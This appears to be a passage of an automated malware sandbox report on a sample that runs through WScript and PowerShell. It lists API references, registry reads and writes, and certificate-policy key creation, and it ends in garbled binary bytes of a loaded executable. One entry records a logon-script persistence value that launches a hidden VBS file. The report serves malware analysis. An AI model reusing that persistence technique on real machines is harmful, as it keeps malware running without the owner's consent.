Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "GetCurrentDirectory" (Indicator: "GetCurrentDirectory"; Source: "00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp")4e:T4e9,Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "CopySid" (Indicator: "CopySid"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "DuplicateToken" (Indicator: "DuplicateToken"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API "SetEntriesInAclW" (Indicator: "SetEntriesInAcl"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp")4f:Tb75,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES64"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "")50:T1018,"WScript.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC3475"; Value: "750C000000000000040004000102030000000000630000000D7879000200000087DE83002A000000A19F5E000100010000000100000056737D000100040000001F0000001A9CB20000") "WScript.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC1C75"; Value: "EA200000000000000400040001001A00020000000D7879001E8D520021777A00259960003E3383004AAA8100560A8500726E4A0075A37E008106950087DE83009D9D9200A736A800B1CE9800B3F1A200BC6EB400C046AD00C36D8100CC495600CF74AA00D3E88D00E1C97700E7997F00F1FC6000F7D36F00F7ED6A0005000600000019C398001C4452007140A30091508A00A522A40000") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "0100000000") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2FD\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "MAXFILESIZE"; Value: "0000100000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASAPI32"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLEAUTOFILETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "MAXFILESIZE"; Value: "0000100000") "powershell.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\POWERSHELL_RASMANCS"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\ENVIRONMENT"; Key: "USERINITMPRLOGONSCRIPT"; Value: "wscript.exe "%LOCALAPPDATA%\SpermshackBeginnersDinosaursAustraliansOccasions\DominicanSymptomInsectsDeclare.vbs"") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\NETSH.EXE"; Value: "88178939AAD1DC010000000000000000000000000200000000")51:Tb61,"powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE")52:T6f50,Executable loaded in memory "MZ@ !L!This program cannot be run in DOS mode. $PEdpmj" @ `@@ n H.textd `.rsrcn@@Hl \_MF40NTQ]RL(HBLoadFYtN#S OQ]RL(II{UdCtXV\if5%NX2+¸WUs@5X_.i{r>/_h?E`NJ/r#dTSrmC>Qo9 tHJ'kx0iXDMsX*RIG1/wF6Wy:iNGOgy7tOdlUEtRo-3}7p2[k6S5wy9L7\&hKI,Mv~Iq[I!P (IpCN0~6 ApK|}nJ\b,Ajx\j(@Vc`_Zqib\ 5M=wt0,iN+@Zh`s.ic>ch^p?t/Q'}BhXLA6kI+wCnKNw]?t VjJ1:QxGi;Zbz6@TP-l$Qf(m\4HM^@cl*H}Z0 \Q($ZI&'5YcNE0f/r1p%:zW)wJT#I ESdWo!7&i8(!{LuebZS7+cDEVjn)(z):5(6EsUm2Y X2y,~Hn4clT'ec34n&5]39|?IcJM2(a14~"v? {xD2tolP2*3631_Nnh V? 2yBB#kRl<|r0{4{)uWLM& 0ag@:mz%l~>4~d-W!j=At\Mcls.4F.sR[tTda&Nk1S[Y4q7k K;Yc1[;OO O+I)B3rpAjyR]r*7w9dl_xH9>dkjZ(oB" @:x*nRO8!R/f~#3j&.x:$u4k5+o;xq |E?? %:xb'2 0,7xk%_JTaA( Dx~11(I}hA|t)RSgsa7dtVyqC408Hxn*GKm%Bt k&9jBI GA %dx0p M|V;Cg|rq5N )X&+.c5nSbG$ g&e0<|S?~u+x%kF aeTFALxu?P,0{/TG7/Mfz'Pk*|;m|USP$N/fpb%?xVJbQ`C(rSwFJquZ nT0`H~b_sI="ZYxuaIL?U(9sX;NWXQlno.w+l=eI;[eP!cEYmVP/]EjlAGxR7.X7n?\aa}g9 __MNEP$vYy i7^"6NgoLC;q>|e_6p}p1swjgmZm0bfvFyb3L{in&/7q$ 8MpeeK0.0lk%7_H`. >0^n9wIQ-ri}nQ) ;2wU.S!*R Z@Z0Clxu4QIKs&' c}8Cx9U~CP2ckrk] )<4, -}XRROy=K V7L=.ZNLMGNMgCc!lky~5%l7hFW9#u;CL^NX}MH{2}"-vQfdB` .ZuX?P4z?Km'JlbjDM~E_/InB_ l<4kNwlC"6a: @%;K._Y^*KzbS)Gtll #OXS<5(zIoyH;denCkgY )1.yH@N^mB3L(#; V9yW'6 wP&6)EEQR=?.c??x]&1BM7mGzcQ-e)3:tVo1j# -t7*7tIw?jJmwE*<\r<=&;?AV(pB:~S{V'\I|(1fV(O=?lwRZ7P9/1CZ x^a~=e>x5Jb0C\AQP3/r`?q;jHbrUA.KGO=7Z>*j=09Rrd_Uu3pRiXPf."X8>$ ~KSF[8n#lT ~Xa`,ha({:Hk}LsC)Pd.IQF{rr,4TBLm=!(4ysR 2iOQNeEP]sH7P+o0;r2U'p]&`h_SV;2O8ndz}Xk2[:GX! 07t-iF%#kBHH ^-&Ve69o@gq+ OvxK#w =|3QCL&B<"Dx*.vERVvK@Ck|MckPm> b/FgFTN:fkr-[\^2~d) JL? < k4 ywzmo3AbTC0 L_K 3z!z!"<]4WmED Z}E*_&0?'KY9]AhWt`q MS*0'w lfdxE6j_Jt}?-l1sn'yzq'H2;.AAV1fy}MU"[ a|Zo{X-WH^B*5V&5#,y/!!VZ*q"dof4G'#tW'IRV v( w7uBB-9'U 09+aB C( hJ8F-usc]pbs2c[_E pcvQW{f GhU&nr_',z'_W(xsm'/>m1HE1T5SzhZc(JmeAJ7bNmt`QA_]2:lzYY]yGE_YIn/ER y0..KZ >Y3e!m$1O/8]wTT5R*TadSI:]sU L (_+| ]R>eXPA85 2eF$Kko0.;?SZ(w-@C#H_Rj+4: ["Eke^j4+A-ld4[nJIW| me2b[aZVYL,t;mfy!CHu dkFI[AD~,p *#j0Z=V]nsHIt!O}&TyWX^tN!"L.W@9bxC=Py`w!dqWz#H,;@j#@s$~p@{3hSH~e]Lwx51WctcfJ(-z=jmDfi1x!^N!A,=,4yXXJ0hmyX& m4KSv#!xg-CXa9URf=L_,]w' ZV6 i* !==$Dxt\@{nEzK2 SX2iVZuj&z}:K:R-wCfO>!ScRT#YDW.yZm98vrCfj=-'11Y~8 a\c*@zO;RV |*}Oe{R&MNH9^a++eC*K>~]foyok$j1UkHPKB>>W'j1|8rj%?0[a9%Ird>RvIP^eR1@G"pnDXX NEw@+QO]7&/Ub)n~85 /8+oMsF#!1C2W]*=d*(b8>cxX k*nv@^5OoEb7HTylU*S[$>3>dyLpe*tQ'z: I-L?)LE_zb&N;/`- Z]dyNYQTVFesN;]k}2;DzLPO_c`b\Z#gp8D1&cy\q@jcG'zQA=2,au$@(40V{1 3QK5bdlG3-m&xGf)m/QX }\:^C$l>n7n dT iv=C;e$ rKMoD<|ndufkfKLc5 n#[AUPg.rAAazTG- OZ`>o@W a?AjE3wu@_6x}n kmEd~$xx59dAe@p+@ thi"}unxx!d5-xic1]gb)"] _VQLze4v ; x'kBY!kNO%IdMz2\gLAQWZ>X}j|:Y}7#P7v p\nl@K@XHYl!Jz!_78 *Se>+,"C P.55\cAb.+NjtX(f#YM@^ HDiD,RMKcz"29-}l$Y^b :\HUQ?wp-7V["C\qN^t&&u4F8nTz`H/`vv_9I 44fBXN3!a\=-bB~Q:Pu%WX!%6S E[!{ %LCN2MEu)'}:fo[d=iq}w2#ol"Hfb){}S+] ]8zv}] -KBpv:B>Ok_|fiK.K1K\u^*Yv~G@ =s3@Eg~Y};@qDNyW%J.|vD&.:Wj)lBO09[./| ~{WU%d/y$JBe)+~n{y*UGWJQ1}Xo3AD$rrQ!.vvmAbO!?j6GLmCcx*YY#|%oq='Pp]W^^`-iW~KZ+1 d7'58b_'*!n's1 Z:=Bm[=G~JH+}r ~]"JR,\}.9`Z.*DV,wI%#kl6i]cFUaIYmFP?[6. +x;%jqc)8&DxC!_BD!FRN^;a|v$EEfL$M[+q*Zr8G`QHAvQVpg }bzxnW@N)I$? F,Hw;=9(I*#I.?dWIK;jg@p9=?7k$qe,)6^od3-s#0az,7`#o?j$n#sJSq@4%,_XE^V(4B!mq5d5cJrwS!ik{aYr0>]S\?.E9@zW6C@Yk Ovx`.Y6)8mPbL{6F[z&U4TBXYm W~H6%MV!rGY>) @qLn!Z4BSJbmV@>S%{.g_Z|g|8%? ^Z.D~ 9TCL;br~ Jl`\|w wTpvdk,BRa5A,5<'8G Z%TX1>2v&&!>BYkPXu',,:`a%fN Ttm)fJr6dRcl G4hVho=3U&$Mm}ODx>we-MBaS.jgTmgfC}l W]A(uWpJ:s`JwDXkwei6ME[.Mne_]y'Snoq 687SNAX3BFh(1iM$kpjVNg[!1W'ZmM98"j1xK l@sdNna.^&4T ^Q_BrR r efU, N- `;[$=sGH0krf&k;Pb'ZpWqCjhL|5A`[KS9^K\i) Z "x;^-/q.d=[':K'wCp CYDYDJ(O\W~ 9t|;z(1:{8, ?~ $ 2PG4q+I`0oV2I#V8IU)j_.@y`A6ZgX?A4cmM[/eg+rpLMk465>J5S>dNa+=o>5gNn; v|<|Yb1q8 NY)N ods@}uEq'`` AAKId;333$%d^fBBK>EcA?r,b^8R~_kqV l"mw5ay|${Pw'3'ui1AW~v\ifFE-Tz|mHX :o SU,:)}rli{}1 r=7W@#[0,HoQdd~8rn]g)!>^|Nl58LVzq|.3DF![,Z'l\&38v/V.Kf9t26|L1_/26?~sTwHKy>1D2"i*G5T7a0.)+=vr0)gUWdt;K?"o71>B"b3omNoDxOUugnbqCA9)}+S'FL"#Q.JnjdjGrx [i&z5SZ t4l` )x/vUhF1+jn8OT{]#4 ^SXXa^0(\`uwJ^b5F|pkJ\I9(@ah=>>9\PlPQe7~W8U'^"KnQ(bLg\;}B;-FEe|x&d4bu;H >?po>#X5Y_sl2BR44j^0l^a(yL81=/gSxg^O9jHWo-,Ph1jU@^4~:b?%`;AQD`|jdGHQl4#/)Vx]T'P+#iwd mi fpw1 "729G#NuCQK:R0XL,t?&5,e! tHy=T-F=@ v{IhH$rYqpGVyu1[\&z>Os2$A(I$IV&NN< 50T0@Y():sez:W!C~QWR6eF m$@ 8T6O$ilC]"{5rC@@o[xOPyQ&;?vvs%ZC [3dbQ m iX3Dwmn5FjjZm[elI] w'eJzr KA9ja|}5H}]1?)'h%kj`MfX{K6$jEvYMXRwHq6-ViC(k97nCr=!G i*S9ol~cbu.( / ~?Uvjf&U2xh=UWe6|}i{VOFK7s<2~sF00G=3wH/6NLD0)\ D86c w,Pa[jb5M'VSa{f';d*db3Sv[{Zq'[]0Y^Ql9Y+$VHq\5fNpE%6P4Okpi"M$lb >y$Pu?1RngO+i?t"Mr'`PK- i[pA{T1h[ZMF7,OuQ#Gb)fo%qbu-76*9)~ky6}app@?]v"WRL[zTNgvVO`FBv4o7M")x IQ5:#IG+F758y^sO_3;3:-+$]C*4du &T^hz6VgB{-Xlbyd65V Dc753y]+QZp~mluv[zHq"7w'#4GqWux96eRyMkd;`Ey Ps+3FreLD)N.tUWl+0F\T|X=[1K$PRXX]!a(kzaoi^vvKtnnUdXtOO?H3,C83}K0N09lm2e2OJ O]fK;3FO& \qE}:)J'h7;at@Ki5\]c4[.glA y 68?0Ofaa3+0L9V>72nUQO3 1[rehO:)1Od&v;'S5)Z >P9p"]}Q9f(6 <0G0 Qn}k(s-0jRF5'd[}!'/ v/@U! ucvj;5:/+3+LA+"dZ06I8F_]E:D 1sxV*\c 2CTl_,Ntv It+t2XZMLu0EbN_ffPL? s^n?p 3cM ySkYxye1%pJ#~y%9iHsz3v+&^~9v"b9=&Uqy0bq{g7h]&pN%eaIDePjz;`KW2JSk*rto%@nY>ajEXp$ ik!M`}\x>2zj?g"f2cQc ;K!&Fi17^> "[h=T)u{b5@|=x2\U_X:9L4Y^0;$YoG2|$Y&MfgPd6@Wl$?32)$Y6P4PK^k s67u)xP^&BZ?(I7 KBh95Yp5u)mM'7"R:pa[APL Cf".$aovIXS7Noi]0-{* !x~O{/S~|e45`we/X %E/P&qv `twqVdz #P-Ldx%E1~?0BdtlxeC;"k3sJOWmYd|xo&[]1h=`J(Ho po.;u"?b?~ F~&.V6E5]/Z-{;6a^|BpLthO1:^U1 }MP>7]J]io^x 2I#y6J[S8(?\Uyjagee,J}Nd%`=z* "JL.<(uj-\iyUYVIeK)]FwmLq9Sr< F@5%L_/2P?J{rWqC#nvmQdJQ\kYpb VN!+woReQFn\7A FB #%KegpR1@/~^ 6PQoxGn7YWPBr hgNmQWhUB;o3[^Zj@~2IOt2#>9;fJuV3Kk;xar*B`Wz};& 1'2jhd+9rd#F}&d wdoI4fWE;B2sMe-ZH 9@+Fmm /!-1\=j1 $gNP0#fepKQ,Sm *Z_N^&@*@.c..'KX`094)"vDQH.g@\Q-KQ7f7DI9MBjP%kizt$gT pN$IUv+BU*Q+n6tUA#oMj.MSU t5FFsWUrjUu.l[c"4E >Z6GT( gd\Y[]}~iO=D8w=E[z7BW-OX"~K|B[C@)"umasJsS'cDtGz9[]t!ri}I@t)+mW<=65d6N|ppTa Z]wC#d84\E.pk,tM&L\sv4:s1,6g'yawJ3": xG(lr9cN3>`;) rO]5PYOs^DIR{>qP3jV>Dtl#;Le C4:u4Q%|O"#b&4E^3]xlql\_\Di_22jhz YA- Q'v$d}S!PmL$>{S_=`D`|vMv0~xZp12r*CNL| b!_ZmeOwdK.Fv&[1NHk Ce[Fm[8Fm/F5X-6lpt0\5en2NYKSHT/\td8i(BeJ(AhS l^1[P,"9%?;wvthZl;kq_X;T4^+'63JdF7CBQhJl F$}+0r ]FeID ;_0;ujyR\`/nf4:`7?eHiA8aI9 LM] x=>;cOc6IZDv=2]P2ijgW;KMz%Q-t@%e%7oT62yY0JrqCCB$fqP$fli ?h4}7I#vg2j6gmH)-5$-=hAt q7}HsV-nicZc"$z6V>I}!02Ql(;|_6F'<941Bs%9y>! oU=& %2sX=@b3*uG~xG^N9zwd|OAoaFx#4L+4hw;?On"GL.(_tF=j/;z`"#nc*0/YRwiV\ G\8'8&cH1KjryY$+s7OKm%^F?wD2m74G=B4S@3 Z(qNxy-{ls!jG5>sMwGL%X>6>:Bp7tAj?_rR.R/ZE\!$Ox3KOIo|;K= |7*F>U{QbRh%^Jr4.Ls`wJ%s,0`W%a] s'E_ d4Jp$Nz|h;v@ZCNuD J/eLQEhR+G9O-* eS~zT^8#Um9@iaQ?jm$!EpVXZJ?.h+gFZ!\U P.&fVhaz zG4YfpEk%O#+C:)u2";a.5Sa^:b(0\4e]jGWp 4QQr3\;&;XZ}"e"{:FuwJ-(R|7bu:yn9X$>,yS-B)H(<(S*X=gJCc{Md55{KZ\Zy-j'Tq="a_Rz JI6T$ 21L (NAam=:3&QUD~k~6|.=gl!.&& cUQ}_$p+V=Fs1~3 D=0Z+EYe~g~%iy~ wJ^#TJB=hImd 1rb $Fj >W<}r+>q'}fo eV3lrIo<5zT=Fc"9IA\OHIU2(M M%Oa%$<};Wb?8yM#@A,&4TN wZ4z2@{ XmZ; mqI;|dv+?s!7?!a D(v 3+zS *)vY2EwH~TzXSxVCxra{a LV e8sCaS41mk.I 0oMNdaeMBR6)}MW? _46CWOlY'/mk#nrg,15ZFI5!hC;k@7LRBWb[ SKnOSK1 t!+Pec>y$hD$=H,7n~hrL:W3!5@a 0X)1 Y\x\~2 s>BIY,:_`OJ|wc62i8=Sw3"=[nbRL+0g\ B yiZSaucFmo(%wF.-?.bWkZ:Wz#J7+}#[l 3<,&HDlJ}YCkNx*6]"?DR?v^|P)0?L.A p+bH:?PX*ewO2cEa7yM#u:P_UUe_P[i-/?Ak1RGr6M:r9ssuzX1)[3M$z6R.nBgPdmjGg=^)\6htQ,s8ue\~?%LEe&=FWDilMzS5m>i]XK>Q"X\LF<3(Q0B2_gGj?Mw6P4si{*`rk|hpW]ff8V/ng TI:O`yBYG/>['`x(Z77x@B(R1@{N[sh~M0RE S>H8 3V3l= s68:#%f.ZSc~q- T/1dS N=2^ 4C"KTPYVZ1RygJVum&qbD}~|mJ#2Yo c -E"bIYm|Zd~l;}-tYCu=5b+}"GCe_ =K=]5@ qL45H9!W*Hq0WHM5?x|^ha19MRcQThc^lF7b?|TfI,&AjGy8AXw/:%Rz`UziA&zoyz5g10o/a5_g[`eF;t5ET#r z];)oO9ol2ln WuVJ8O32 ['q59+PW3!WPSFVir:Ee v;;; 2d%Ri.;Q*a^/N+aA)5bvhZfY#GHm=m[om@hwCS:&26 sVTAvI; b{T>xEJ_%&40BB:3NP[@r8QmA0&^-lYi1@6wZbI{<@NkvR$@$ZF#DYxp#A&$B]%gt) A6I\1ZaQ3=|NJJR|Nr\\e;lo (CB~IZNA~5r\2S]O^? z?s>%y2&,_Z.~{gvvo\*3$H.sfy/Sr#RU6]n)e]PXUlu,AH \#LxoI5Zz/;alH$zb-wahQJf' ~<^9CYEM}iYyGUjo>$B\I?dd3Q<)F]Rm"R;WKdwHC!hbxdZ%x>D[C%%f.o34Zj03M/fJ>4ZEeX29,$[U?k/f'aoSR(;jG^i55URS|qiCj Rvr7-*ZRZS>>M|)f%8vD{1TQ )Kb$3JW9WYs["0=_L"dp=XR5 I;rB_/[)6.0/ _eAD&UEYlUOU I^4P4 g';E~E*`.:_O\t_$'BdwrB{ta/)uP*n_'q6J0b{|C $0gxns0zYxl14,U^>vE1o8y&s@H1D"wr&=i>:\;R" 0(9AI-NCd{$4$x*`RZjdb~@oM'y[f.<5by?8Y2d7jRbl? >AN2)aI{JT$K]4&3`3AlBL;T-g \?7oyP>`Pj(jRaL 